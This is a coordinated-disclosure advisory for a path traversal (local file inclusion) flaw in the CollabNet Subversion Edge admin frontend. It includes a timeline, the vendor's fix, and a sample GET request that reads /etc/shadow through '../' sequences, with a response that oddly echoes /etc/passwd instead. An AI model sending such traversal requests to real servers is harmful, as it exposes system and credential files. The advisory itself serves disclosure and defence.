CollabNet Subversion Edge Management Show LFI

`# Vuln Title: Local file inclusion in CollabNet Subversion Edge Management  
# Frontend via "fileName" parameter of the show action  
#  
# Date: 10.10.2014  
# Author: otr  
# Software Link: https://www.open.collab.net/downloads/svnedge  
# Vendor: CollabNet  
# Version: 4.0.11  
# Tested on: Fedora Linux  
# Type: Local file inclusion  
#  
# Risk: Medium  
# Status: public/fixed  
# Fixed version: 5.0  
  
Timeline:  
  
2014-10-09 Flaw Discovered  
2014-10-20 Vendor contacted  
2014-10-21 Vendor response  
2014-12-08 Vendor fix proposal  
2014-12-08 Extension of embargo to 19.4.2015  
2015-05-04 Extension of embargo until release of version 5.0  
2015-05-18 Release of version 5.0 and public disclosure  
  
Summary:  
  
The CollabNet Subversion Edge Management Frontend allows authenticated admins to  
read arbitrary local files via logfile "fileName" parameter of the show action  
  
Vulnerability:  
  
Request:  
GET /csvn/log/show?fileName=../../../../../../etc/shadow HTTP/1.1  
Host: example.com:4434  
  
Response:  
HTTP/1.1 200 OK  
[...]  
<div class="span3">../../../../../../etc/passwd</div>  
[...]  
root:x:0:0:root:/root:/bin/bash  
  
Fix proposal:  
  
Remove feature or santizes the fileName parameter so that no path traversals and  
arbitrary file inclusions are possible.  
  
Vendor fix:  
  
[...] now allow only showing hooks/logs within the intended directories.  
`